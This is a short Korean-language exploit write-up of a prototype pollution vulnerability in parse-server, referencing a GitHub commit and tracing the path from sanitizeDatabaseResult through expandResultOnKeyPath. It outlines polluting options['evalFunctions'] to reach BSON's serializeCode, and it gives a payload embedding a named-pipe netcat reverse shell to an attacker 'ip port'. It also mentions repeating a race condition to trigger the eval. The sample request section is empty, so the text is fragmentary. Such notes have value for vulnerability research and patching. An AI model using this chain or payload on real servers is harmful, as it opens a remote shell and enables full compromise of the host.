



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPath 함수에서 발생DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult는 새 클래스를 add하거나 update할 때 사용됨. 그러나 prototype pollution을 발생시키려면 keyUpdate의 __op가 ['Add', 'AddUnique', 'Remove', 'Increment']에 속해야 하는 조건을 충족해야 함
따라서 prototype value는 array 또는 number만 가능함


샘플 요청 예시:

serialize되며, _bsontype이 Code인 경우 serializeCode가 실행됨
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions']를 오염시켜 isolateEval 함수까지 우회 접근"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath 함수의 실행 흐름이 deserialize 이후에 오기 때문에, isolateEval에 도달했을 때 트리거할 수 있도록 race condition을 계속 수행해야 함